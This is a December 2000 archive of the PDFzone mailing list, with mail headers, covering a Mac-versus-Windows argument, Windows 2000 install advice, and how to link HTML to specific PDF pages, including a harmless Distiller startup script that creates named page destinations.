PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Is it really necessary or desirable to start up an OS war? Windows is a piece of garbage and Mac doesn't multitask (yet). OS/2 was the best PC operating system ever and Linux may be the best right now. Who gives a rat's ass? Grow up. > > ->yup. 30% more postscript errors on windows than on macintosh. do you have 30% > ->more time to complete tasks? No? then buy yourself a mac and start making > ->technology work for you, instead of you working around its limitations. > ->seriously, you will crash less and go home earlier if you move to macintosh. > ->enfocus pitstop will do what you want, but it will crash more often on windows. > ->(As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash > ->randomly, whatever the task.) > > Robert Rosenwald > > President Poisoned Pen Press > robert@poisonedpenpress.com > www.poisonedpenpress.com > 800-421-3976 > > Vir bonus semper discipulus est > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 13-Dec-2000 14:27:21-GMT,11457;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA04946 for ; Wed, 13 Dec 2000 07:27:20 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA02868; Wed, 13 Dec 2000 08:27:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 13 Dec 2000 08:19:09 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA02239; Wed, 13 Dec 2000 08:19:08 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA02232 for ; Wed, 13 Dec 2000 08:19:06 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id JAA15359 for ; Wed, 13 Dec 2000 09:19:04 -0500 Message-ID: <3A3786CD.B3666FD1@goprep.com> Date: Wed, 13 Dec 2000 09:25:38 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] tools recommendation / Win200 question References: <5.0.2.1.2.20001212142752.02685510@mailsj.corp.adobe.com> Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ good point. very impressive to be more stable than crashing 4 times while word-processing. cjmarch It is the most stable and reliable of the Windows variants at this point Dov Isaacs wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Ivy, > > Windows 2000 is a very smart way to go if you are currently on either > Windows'9x, Windows Me, or Windows NT 4. It is correct that Windows NT 4 > was somewhat PostScript and Type 1 brain-dead. However, Type 1 and OpenType > font rendering is now integrated into the Windows 2000 operating system per > a joint project of Adobe and Microsoft. It is the most stable and reliable > of the Windows variants at this point and its font handling and PostScript > driver support is at least as good as if not better than MacOS 9. > > There is no problem creating PDF files under Windows 2000 that you wouldn't > have under any other operating system environment. > > Important caveat!!! Do NOT, I repeat NOT, do an ""upgrade"" from Windows'98 > (or any other version of Windows) to Windows 2000. Do what is called a ""clean > install"" in which you effectively move all your data off your system, reformat > the disk, load the operating system, and then reload your applications. > The Microsoft ""upgrader"" leaves too many ""doggy droppings"" on the system and > you will have problems from the first boot onward. These problems do not occur > with a clean install. Also note that a number of applications install differently > under Windows 2000 (or NT) than on Windows'9x. You really want them installed > such that they work correctly for Windows 2000. > > I leave the other questions to be answered by other participants on this list. > > - Dov > > cjmarch , > > I find your comments rather interesting. I suspect that you are somewhat of a > Macintosh ""fan."" > > First of all, with regards to your claim of ""30% more PostScript errors on Windows > than on Macintosh"" ... What applications are you seeing this with? With applications > such as Adobe Photoshop, Adobe Illustrator, Adobe InDesign, and Quark XPress, ALL the > PostScript is generated by the application itself, not the operating system and not > the driver. In the case of the Adobe applications, I can readily vouch for the fact > that the PostScript generation cross-platform is IDENTICAL except for the ""setpagedevice"" > commands at the start of the job and those are PPD file-based. And Adobe is not aware > of any 30% more PostScript bug problem with the Windows drivers. We should know because > Adobe provides the drivers for both the Macintosh (the LaserWriter and the AdobePS drivers) > and Windows (AdobePS for Windows'9x/Me/NT 4 and PSCRIPT for Windows 2000). > > Maybe the problem you are seeing with regards to a large number of PostScript errors > has nothing to do with the platform the PostScript came from, but rather inexperience on > the part of newer customers you may have been encountering who are running on Windows > as opposed to the more traditional ones you have dealt with in the past who were totally > Macintosh-based. > > Secondly, if you have a PC crashing ""randomly, whatever the task"" I respectfully submit that > either (1) your hardware is flaky and needs attention, (2) you are running Windows'9x or Me > and should really be running Windows 2000, or (3) your system is grossly misconfigured > somehow. But plenty of graphics professionals and enterprise users run under Windows > at least as effectively, efficiently, and successfully as those who run under Macintosh. > Personally, I run under both. Each has its own slight edge in certain areas. And both > have their quirks and liabilities. There is no question that the Macintosh has garnered its > own cult with true-believers. The problem is separating the feelings from realities. > > - Dov > > At 12/12/2000 02:00 PM, cjmarch wrote: > >yup. 30% more postscript errors on windows than on macintosh. do you have 30% > >more time to complete tasks? No? then buy yourself a mac and start making > >technology work for you, instead of you working around its limitations. > >seriously, you will crash less and go home earlier if you move to macintosh. > >enfocus pitstop will do what you want, but it will crash more often on windows. > >(As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash > >randomly, whatever the task.) > > At 12/12/2000 01:29 PM, Ivy Wood wrote: > >Good day. I could use your help identifying which tools or plugins are > >recommended for the work that I am doing. I work on Win98 but our IT > >department wants me to graduate to Win2000. I am resisting because I know > >that WinNT which Win2000 is derived from is not PostScript friendly. Is > >anyone out there successfully creating very small PDFs under Win2000? > > > >I create forms which our software's UI gathers the information/data for > >and the logical model we create decides which forms to print and populate > >the fields of. The end users of my forms will Never interact with the PDF- > >only with the software's user interface which is browser based. The PDFs > >are streamed to the client at the end of their session simply so that they > >have a set of forms documenting the transactions they made in the > >software. So I create intelligent PDF forms but not interactive ones. > > > >My job has several major parts. > > > >Part One - I create forms which are converted to PDF forms but also need > >to be filled out by hand therefore I do not add drop down lists or other > >GUI objects to these forms. Currently I am using MSPublisher 2000 because > >it was available but will probably switch to a ""PostScript"" aware software > >tool shortly such as Corel Ventura. > > > >Part Two - PDFs are sent to me from sources that I have no control over. > >These are forms to which I will be adding form fields. These PDFs have > >often not been optimized for desktop printing. Looks like they turn the > >press piece into a PDF and then think that will serve for desktop as well. > >So paper sizes may not have been standardized - some of them even have > >text that is clipped if ""fit to paper"" is not selected. They might have > >bleeds or very large blocks of color (toner wasters) or page numbers that > >are no longer accurate. I will need to try to fix these problems so that > >the PDF forms can be printed to desktop printers. > > > >Part Three - On occasion, I may need to scan some forms, create a PDF of > >it and add form fields. The scanner is on the way but I assume some kind > >of Acrobat plugin might be helpful here say for deskewing and making the > >lines on the form of consistent weight, color and etc. > > > >Part Four - Form Fields, forms field, form fields. Some of the PDFs > >mentioned above might be several pages with a hundred or so form fields. > >Right now I have to double click on each one to be sure that I've > >appropriately assigned attributes, formatting and/or scripts. It would be > >nice to find some kind of form field reporting software that would help me > >manage and document all of these fields. > > > >I am considering purchasing PitStop Pro. from Enfocus. I hope their > >product will enable me to adjust the alien PDFs for desktop printing (Part > >Two) plus assist with the form scanning (Part Three). But I'm not sure if > >I need other software from Enfocus or if PitStop will do all that I need. > >Or perhaps there is another vendor/product that would be helpful. The form > >field reporting is VERY important. Anything that will help me manage all > >these fields in a quick and easy way will be a great asset. > > > >At this time, I am more interested in purchasing an off-the shelf solution > >or two and won't be able to put in the time needed to analyze solutions > >which developer contractors may offer to design. > > > >What do you recommend? Please be as specific as possible: > >Vendor/Manufacturer, Product, Product version, how you believe it will > >help, website for more info., and etc. > > > >Thanks for the input regarding my PDF specifications which I posted > >earlier. It is still online http://www.concentric.net/~Ivyjeff/WebWorks/ > >if you'd like to take a look. I have yet to update it with the advice that > >I received from the list. Most of which related to the Fonts section. The > >recommendation was to remove the section regarding ""never embed the Base > >14 fonts"". However, I may leave it in because I KNOW the demographics of > >my user base and I'm trying to make my file sizes the smallest I possibly > >can. I will test and research this further. > > > >Thanks! > > > > > >===== > >Ivy Wood > >Content Developer > >303-440-8833 ext. 125 > >www.streampoint.com > >work: ivyw@streampoint.com > >personal: ivy_wood@yahoo.com > >family: IvyJeff@concentric.net > > > >__________________________________________________ > >Do You Yahoo!? > >Yahoo! Shopping - Thousands of Stores. Millions of Products. > >http://shopping.yahoo.com/ > > > >Receive the latest PDF News in your Inbox. > > > >---------------------------------------------------------------------------- > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 13-Dec-2000 15:06:58-GMT,3494;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA05905 for ; Wed, 13 Dec 2000 08:06:58 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA06589; Wed, 13 Dec 2000 09:06:53 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 13 Dec 2000 09:00:34 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA06283; Wed, 13 Dec 2000 09:00:23 -0600 Received: from mullis-morgan.com (mail.mullis-morgan.com [212.117.229.28]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id JAA06268 for ; Wed, 13 Dec 2000 09:00:20 -0600 Received: from [212.117.229.26] by mullis-morgan.com (CommuniGate SMTP 3.1) with ESMTP id S.3185237635vu for ; Wed, 13 Dec 2000 15:00:01 +0000 User-Agent: Microsoft-Entourage/9.0.2509 Date: Wed, 13 Dec 2000 15:00:01 +0000 Subject: Re: [PDF] Small dots appearing in PDF From: Steve Butler To: Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ We have also seen this problem, and , like Don, removed these points with Pitstop. In tests, these did not output because they are just single points with no fill or stroke, but they sufficiently scared our customer to make us take them off. Our files were generated by Quark 4.11 with Adobe PS 8.7 to Distiller 4.0 -- Steve Butler Brand Images Mullis Morgan Group Ltd > From: Mike Connelly > Reply-To: pdf@lists.pdfzone.com > Date: Wed, 13 Dec 2000 07:53:33 -0500 > To: > Subject: Re: [PDF] Small dots appearing in PDF > > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > on 12/12/00 9:37 PM, Don Montalvo at Don.Montalvo@msdw.com wrote: > > I had the same thing occur randomly on a 48 page job. I ended up having to > remove them with Pitstop. > > >> We have a Quark document which has a placed dark blue TIFF image >> and some yellow text over it. We print to file and distill using >> Distiller 4. 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Thomas Ziegelbauer PDFzone.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 4:45:03-GMT,9770;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id VAA00302 for ; Wed, 13 Dec 2000 21:45:02 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA13807; Wed, 13 Dec 2000 22:31:37 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 13 Dec 2000 22:21:31 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id WAA13377; Wed, 13 Dec 2000 22:21:29 -0600 Received: from mx.obun.co.jp (gate.obun.co.jp [210.145.197.241]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id WAA13373 for ; Wed, 13 Dec 2000 22:21:26 -0600 Received: from [172.22.30.74] by mx.obun.co.jp (8.9.2/3.7Wpre7) with ESMTP id NAA10400 for ; Thu, 14 Dec 2000 13:21:14 +0900 (JST) Mime-Version: 1.0 X-Sender: ichikawa@172.21.1.3 X-Mailer: Macintosh Eudora Pro Version 4.2.1-J Message-Id: Date: Thu, 14 Dec 2000 13:23:15 +0900 To: pdf@lists.pdfzone.com From: Yosuke Ichikawa Subject: [PDF] Can an HTML link be made to open _a specific page_ of a PDF file, etc. Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi list members, Please excuse my longish inquiry. I have four PDF related question concerning our present project. Can an HTML link be made to open _a specific page_ of a PDF file? Is there an _easy_ way of adding a navigation interface, so that a series of _separate_ PDF files can be leafed through as though they were pages of a single PDF file? Can a link in a PDF file be made to open another PDF file to a specific page to a _new_ window? Is there a separate application that can be used to act as a TOC to the PDF files, that can be compiled relatively easily cross-platform? ------------------------ A colleague at the company I work for handles the production of a 900+ paged printed catalog for a mail/fax/web order PC parts vendor. This client now wants to make a CD-ROM out of the main part of the printed catalog--the description of the products, which take up over 90 percent of the volume-- to be given out to their potential customers. Now, all the catalog pages are made with Quark Xpress 3.3-J. The products description pages, the main content of the CD-ROM, will be converted to PDF files. Besides these PDF files, we need something for the search. My colleague is considering HTML files. A top page, with a total of about 25 main categories, such as CPU, Memory, Mother boards, Chasis, VGA cards, etc. etc. Clicking on a category will lead to another HTML page with a list of all the product names within the category-- maybe 20 or 30 entries. Each product name in this list would have two link buttons; one to yet another HTML page, the price chart for all products within the category, linking to the price entry of the product. The other button is to open the product descripton PDF file. This is the problem. We want the PDF to be one file per main product category, since the customer will likely want to flip back and forth to other products within the same category. A normal HTML link will open the PDF file at its first page, but we want the PDF to open on the page of the specific product, depending on the link button pressed. Thus, to -------------------- Can an HTML link be made to open _a specific page_ of a PDF file? I opened some PDF files as text and found that PDF defines object blocks and uses this to define link destinations. May be some sort of scripting code, like Java--of which I'm completely ignorant--, can be embedded in HTML to access this PDF code? If this is possible, is there some sort of graphical editor for this task, since we can't manage to manually look up hundreds of block codes of the PDF and type in the script/code one by one? Taking a different approach leads to -------------------- Is there an _easy_ way of adding a navigation interface, so that a series of _separate_ PDF files can be leafed through as though they were pages of a single PDF file? If the PDF were made into separate files per each product description, then we wouldn't have to worry about opening a PDF to a _specific_ page, as I asked in the previous question. But then, we need some setup to connect the separated files to act as though they were continuous pages of a single file. I imagine adding link buttons in the page layout would be one way. But as the page layout is already full, we would prefer not to go back to the original Quark files and change the file size to add new buttons within the page. The standard Acrobat interface does not work for this specific need--since the ""Go Back"" and ""Go Forward"" buttons/commands work historically and the Previous Page and Next Page buttons/commands work only within a single file--but perhaps a plug in that would add similar buttons on the menu bar that can be programmed for our purpose, something that would also enable the use of PageUp and PageDown keyboard buttons for the series of files would be ideal. Yet another approach leads to -------------------- Can a link in a PDF file be made to open another PDF file to a specific page to a _new_ window? The reason my colleague considered using HTML files in the first place for the top page, the list-of-products-per-category pages, and the price-list-per-category pages, is that PDF links seem always to open the new link in the same window _replacing_ the previous view. We want the TOC to always stay in a separate window, to be viewed at all times. I know that, instead of using the ""Open file"" link property, if we used ""Execute menu item"" and selected the File Open command, the new file opens to a new window. But, this opens any file that was user-selected at the dialog, and is _not_ a link to a preset destination. is yet another approach -------------------- Is there perhaps a separate application that can be included in the CD-ROM to act as a TOC to the PDF files, that can be compiled relatively easily cross-platform (Windows and Mac)? Linking from either HTML or PDF TOC files would be our first choice, since they are both simple inexpensive cross-platform solutions. But including a separate TOC application--I don't know if this is the proper way to call it-- is also an option. It does _not_ need to perform a string search. It doesn't _not_ need to be linked to a database to search for products matching various conditions. It simply needs to serve as a hyperlink TOC, as described previously (a top page with 20+ category listing; each category item is linked to a list of all products within the category; each product name in the category is linked to a HTML price chart and a specific page of the PDF file which provides the detailed product description). It would be ideal if the same app could be compiled into the Windows and the Mac versions, but we can have two completely different apps for each platform. Royalties to use it in a CD-ROM, if any, are also a major consideration. -------------------- You maybe wondering, well why not use the standard bookmark? I think the bookmark, with the collapsing layer display, works great. But in our case, we have 25+ top headers each with 20 to 30+ entries, so going up and down the list and collapsing would seems too much trouble. A separate TOC window, as described previously would be much preferred. At the same time, though, I'm not too optimistic whether there is a feasible solution for any of the four possibilities mentioned above. In this case, we would have to put the 2-layer TOC in the standard bookmark frame, make the HTML price list to PDF, and do everything in one Acrobat window. Side note 1; I realize we might have more options if the original catalog were made with a different application, perhaps FrameMaker, since Quark 3.3 seems limited in PDF and HTML output. But my colleague tells me that with the complexity of the layout--lots of graphics, lots of different layout patterns, manual adjustments to fit things to the page, etc. etc., it can't be done with Frame. He also tells me that Quark 4 may give us greater possibility with its plug-ins, but the 3.3J files cannot be converted to 4J, for practical purposes. Side note 2; In the future, from what I hear, converting the data to perhaps XML may be a great solution; for this we would need competent outside engineers and lots of analysis and preparation to set up a whole series of customized applications--a grand project indeed if we ever get around to it. -------------------- I've asked several questions; I'll greatly appreciate it if you can share any insight you may have on any of them. If you can reply, please also send the message directly to my address, since I'm on digest. Thanks for your time. Yosuke Ichikawa Tech writer Obun Printing Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 6:59:13-GMT,4208;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id XAA03343 for ; Wed, 13 Dec 2000 23:59:12 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA18885; Thu, 14 Dec 2000 00:39:07 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 00:31:49 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id AAA18624; Thu, 14 Dec 2000 00:31:48 -0600 Received: from bird2.de.uu.net (bird2.de.uu.net [193.101.111.28]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id AAA18620 for ; Thu, 14 Dec 2000 00:31:47 -0600 Received: from schuitz.com (pec-74-207.tnt6.me.uunet.de [149.225.74.207]) by bird2.de.uu.net (5.5.5/5.5.5) with ESMTP id HAA12454 for ; Thu, 14 Dec 2000 07:31:45 +0100 (MET) Message-ID: <3A386950.269A7FCA@schuitz.com> Date: Thu, 14 Dec 2000 07:31:44 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (Win95; U) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] Can an HTML link be made to open _a specific page_ of a PDFfile, etc. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Ohaio gozaimash'ta :-) Possible answer to question 1: Source for the script: here in the pdf-zone found some weeks ago: put the following script as sample.ps in the Acrobat-dircetory distillr\\statup\\ Pages will be marked when the are distilled so that you can use the link for example a href=test.pdf#Page4 (the word Page must beginn with Capital Letter). Unsolved problem: we didn't find a way for the user just to save that single page on his/her hdd. Button ""save to disk"" starts downloading the complete large file. HTH, - Raimund Schuitz % % File: Example.ps % % End-user startup PostScript job file. Include any permanent PostScript into % this file. This file will be executed as an ""unencapsulated job""* % each time the Acrobat Distiller application starts up. % % *See ""PostScript(R) Language Reference Manual, Second Edition,"" Chapter 3.7.7 % % NOTE: This file will be overwritten each time you install Acrobat Distiller. % We recommend you make a copy of this file to a different name and modify % that copy. % % Each of the items below is presented as an example as is commented out. To % actually use one of the examples, uncomment the line(s) of PostScript code by % deleting the ""%"" character and modify to suit your needs. %%% PRE-LOADING FONTS INTO MEMORY %%% Load a font into the FontDirectory dictionary (local VM) % /Courier findfont pop %%% IDIOM RECOGNITION %%% Idiom recognition enables the conversion of blends from %%% popular software such as Illustrator, FreeHand, Quark, and %%% Corel into Level 3 smooth shades. %%% It is turned off here by default, but can be re-enabled %%% by changing false to true. <> setuserparams % Insert your custom PostScript here... systemdict /pdfmark known { << /EndPage { 2 ne { 1 add dup 10 string cvs dup length 4 add string dup 0 (Page) putinterval dup 4 4 -1 roll putinterval cvn [ /Dest 3 -1 roll /Page 5 -1 roll /View [ /XYZ null null null ] /DEST pdfmark true }{ pop false } ifelse } >> setpagedevice }{ userdict /pdfmark /cleartomark load put } ifelse (\\nNamed Destinations program loaded. \\n) print flush (Pages will be named ""Page1"", ""Page2"", etc. \\n) print flush % End of file. Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 15:49:13-GMT,3801;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id IAA15799 for ; Thu, 14 Dec 2000 08:49:12 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA09309; Thu, 14 Dec 2000 09:28:52 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 09:20:57 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id JAA08863; Thu, 14 Dec 2000 09:20:54 -0600 Received: from mail.Firstdatacorp.COM ([170.186.38.195]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id JAA08854 for ; Thu, 14 Dec 2000 09:20:52 -0600 From: Jeanie.Shoemaker@firstdatacorp.com Received: (from smtp@localhost) by mail.Firstdatacorp.COM (8.9.3/8.9.3) id JAA27989 for ; Thu, 14 Dec 2000 09:08:33 -0600 (CST) X-Authentication-Warning: mail.firstdatacorp.com: smtp set sender to using -f Received: from () by mail via smap (V2.1) id xmaa27828; Thu, 14 Dec 00 15:07:46 GMT Subject: Re: [PDF] Can an HTML link be made to open _a specific page_ of a PDFfile, etc. To: pdf@lists.pdfzone.com X-Mailer: Lotus Notes Release 5.0.3 March 21, 2000 Message-ID: Date: Thu, 14 Dec 2000 09:19:12 -0600 X-MIMETrack: Serialize by Router on SRVMTA1/FDR/FDC(Release 5.0.3 |March 21, 2000) at 12/14/2000 09:19:23 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Question 1: You can set a named destination in your PDF if you are using Acrobat 4.x. For example, set page 356 as a the named destination ""342abc"" (you name the destination whatever makes sense for you), and you can link to that destination with an HTML link. Your HTML link would be ""path/document.pdf#342abc"". That method depends on you doing the work in Acrobat--not the most efficient way if the PDF changes frequently . You would have to redo the destinations every time the PDF is generated. You may also be able to add named destinations by using pdfmark commands (pdfmark is an extension to postscript code) in your original app. I have done it in FrameMaker many times--simple process that creates the named destinations automatically every time the PDF is generated. Another benefit is that if the text holding the destination rolls to another page, the named destination rolls with it. I know nothing about using pdfmark in Quark. Question 4: You could do this in PDF, also. We create a main menu in Frame that holds links to all our manuals and create a PDF from it. Using pdfmark commands, the links are set up in Frame and are generated with the PDF. No need to fiddle with it in Acrobat. Again--I know nothing about Quark. Your project sounds ideal for FrameMaker. Granted, making style overrides to make something fit isn't the best way to use Frame, but making links between files is a snap. You didn't ask about putting your files on CD-ROM, but I hope someone else comments about combining PDF files and HTML files on a CD-ROM. The HTML files must be viewed in a browser, but the PDF files do not. Jeanie Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 16:22:51-GMT,3451;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id JAA16824 for ; Thu, 14 Dec 2000 09:22:50 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id KAA12943; Thu, 14 Dec 2000 10:12:05 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 10:05:24 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id KAA12385; Thu, 14 Dec 2000 10:05:19 -0600 Received: from axion.net (popper-4.vancouver.ipapp.com [216.152.192.206]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id KAA12374 for ; Thu, 14 Dec 2000 10:05:16 -0600 Received: from axion.net ([207.102.191.58]) by popper-4.vancouver.ipapp.com ; Thu, 14 Dec 2000 08:05:11 -0800 Message-ID: <3A38EFBD.628C5568@axion.net> Date: Thu, 14 Dec 2000 08:05:18 -0800 From: Angus Weller X-Mailer: Mozilla 4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) X-Accept-Language: en,pdf MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Splitting long paths References: <3A386950.269A7FCA@schuitz.com> Content-Type: multipart/mixed; boundary=""------------18CC54F9E3598B7726FB87F5"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ This is a multi-part message in MIME format. --------------18CC54F9E3598B7726FB87F5 Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Hello, This is a question that covers Illustrator to pdf and print capable files. In the past Illustrator files needed to have long paths cut in order to RIP the files. Even files that were only going to pdf files would register a string length error when opened in Acrobat. This week I was prepping a file on a Mac g4, Illustrator 8.1 and Acrobat 4 and entered the plit long paths command. When I viewed the result there were no splits in my polygons. Just to be on the safe side I ran the file through Illustrator 7 and the polygons ended up being split. Will the new RIP's handle the non-split files and will earlier versions of Acrobat Reader be able to view them? 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We want the TOC to always stay in a separate window, to be viewed at all times. I know that, instead of using the ""Open file"" link property, if we used ""Execute menu item"" and selected the File Open command, the new file opens to a new window. But, this opens any file that was user-selected at the dialog, and is _not_ a link to a preset destination. Ichikawa-san, QUESTION 2 (Is there an _easy_ way of adding a navigation interface, so that a series of _separate_ PDF files can be leafed through as though they were pages of a single PDF file? ...): While my answer will not provide the solution that you want, I posted a detailed procedure that solves a similar problem (""Duplicating Bookmarks Across Files"") in the July 23, 1997 issue of the PDF Discussion list (http://www.pdfzone.org/resources/lists/pdf/199707/msg00256.html). The procedure is a sort of ""shell game"" workaround that lets several files appear to share a single set of bookmarks, in a single window. You are correct, as I recall, that the ""Go Back"" button will not take you back to the earlier file. For that, I created two fields: (1) a field on Page 1 that said ""Go Back to end of preceding file,"" and (2) a field on the final page that said, ""Go to beginning of next file."" But the Universal table of contents, showing all sections of all files, remained in the bookmark pane at all times. The procedure is rather long, so I'd rather direct you to the archives than post it here. A problem similar to yours appeared recently (on or about November 19): >I looked at PDFLib, which doesn't support Web-link bookmarks, >and PJ and PjScript. I could implement the routines using PJ's low level >API, but I would prefer to use a higher-level API if one is available. >Do you know of such a toolkit which I can use ? We're deploying on >Linux servers, so I would need something that can be accessed from Java >on Linux. That rules out all the Windows NT/2000 toolkits out there... Leonard Rosenthol (leonardr@digapp.com) offered this solution: You want AppendPDF or AppendPDF Pro from Digital Applications (). They are command line applications which will happily merge/append PDF documents together maintain existing books and/or adding new ones. If you want an actual toolkit or library to do this, Digital Applications also provides their SPDF library, which is the toolkit/library on which their product are based. It can be licensed either in binary or source. QUESTION 4: Our documentation department uses the same solution that Jeanie Shoemaker described (""We create a main menu in Frame that holds links to all our manuals and create a PDF from it. Using pdfmark commands, the links are set up in Frame and are generated with the PDF."" It works fine on our CD-ROMs and on our intranet."") By the way, Ichikawa-san, your company is fortunate to have a technical writer who is so skilled and graceful at expressing ideas in English. Your English is far better than that of many--I dare say, most--of the Americans with whom I work. Paul Franklin Stregevsky, Technical Writer NEC America, Inc. Mail Stop VA-4610 14040 Park Center Rd. Herndon, VA 20171-3227 stregevp@hn.va.nec.com W: (703) 834-4648 Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 14-Dec-2000 20:53:58-GMT,2822;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA25630 for ; Thu, 14 Dec 2000 13:53:57 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA27417; Thu, 14 Dec 2000 14:35:29 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 14 Dec 2000 14:29:34 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA26813; Thu, 14 Dec 2000 